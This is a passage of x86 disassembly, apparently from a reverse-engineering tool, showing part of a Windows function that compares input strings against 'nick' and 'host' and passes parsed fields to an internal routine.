push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004025a6
add esp, 0x24
jmp 0x403ad5
cmp dword [ebp - 0x1008], 1
jne 0x403ad5
call fcn.00401def
mov dword [ebp - 0x138c], eax
lea edi, [ebp - 0xe04]
push edi
call sub.CRTDLL.DLL_atoi
push eax
call sub.CRTDLL.DLL_abs
add esp, 8
mov edx, dword [ebp - 0x138c]
cmp edx, eax
je 0x403ad5
lea eax, [ebp - 0xd04]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x1394], eax
lea edi, [ebp - 0xd04]
push edi
push esi
call sub.CRTDLL.DLL_strstr
mov dword [ebp - 0x1390], 1
lea edi, [ebp - 0x1390]
push edi
mov edi, dword [ebp - 0x1394]
lea edi, [edi + eax + 1]
push edi
lea edi, [ebp - 0xd03]
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004025a6
add esp, 0x24
jmp 0x403ad5
push str.nick
lea eax, [ebp - 0x1004]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x4039cd
cmp dword [ebp - 0x1008], eax
jne 0x403949
push 0x40b47c
lea eax, [ebp - 0xe04]
push eax
call fcn.004019aa
add esp, 8
or eax, eax
jne 0x403949
lea eax, [ebp - 0xd04]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x138c], eax
lea edi, [ebp - 0xd04]
push edi
push esi
call sub.CRTDLL.DLL_strstr
mov dword [ebp - 0x1388], 1
lea edi, [ebp - 0x1388]
push edi
mov edi, dword [ebp - 0x138c]
lea edi, [edi + eax + 1]
push edi
lea edi, [ebp - 0xd03]
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004025a6
add esp, 0x24
jmp 0x403ad5
cmp dword [ebp - 0x1008], 1
jne 0x403ad5
push 0x40b47c
lea eax, [ebp - 0xe04]
push eax
call fcn.004019aa
add esp, 8
or eax, eax
je 0x403ad5
lea eax, [ebp - 0xd04]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x138c], eax
lea edi, [ebp - 0xd04]
push edi
push esi
call sub.CRTDLL.DLL_strstr
mov dword [ebp - 0x1388], 1
lea edi, [ebp - 0x1388]
push edi
mov edi, dword [ebp - 0x138c]
lea edi, [edi + eax + 1]
push edi
lea edi, [ebp - 0xd03]
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004025a6
add esp, 0x24
jmp 0x403ad5
push str.host
lea eax, [ebp - 0x1004]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x403ad5
cmp dword [ebp - 0x1008], eax
jne 0x403a5e
push 0x40b4ac
lea eax, [ebp - 0xe04]
push eax
call fcn.004019aa
add esp, 8
or eax, eax
jne 0x403a5e
lea eax, [ebp - 0xd04]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x138c], eax
lea edi, [ebp - 0xd04]
push edi
push esi
call sub.CRTDLL.DLL_strstr
mov dword [ebp - 0x1388], 1
lea edi, [ebp - 0x1388]
push edi
mov edi, dword [ebp - 0x138c]
lea edi, [edi + eax + 1]
push edi
lea edi, [ebp - 0xd03]
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004025a6
add esp, 0x24
jmp 0x403ad5
cmp dword [ebp - 0x1008], 1
jne 0x403ad5
push 0x40b4ac
lea eax, [ebp - 0xe04]
push eax
call fcn.004019aa
add esp, 8
or eax, eax
je 0x403ad5
lea eax, [ebp - 0xd04]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x138c], eax
lea edi, [ebp - 0xd04]
push edi
push esi
call sub.CRTDLL.DLL_strstr
mov dword [ebp - 0x1388], 1
lea edi, [ebp - 0x1388]
push edi
mov edi, dword [ebp - 0x138c]
lea edi, [edi + eax + 1]
push edi
lea edi, [ebp - 0xd03]
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004025a6
add esp, 0x24
cmp ebx, 4
jl 0x403ae4
cmp ebx, 5
jl 0x403ae4
cmp ebx, 6
jge 0x403ae4
pop edi
pop esi
pop ebx
leave
ret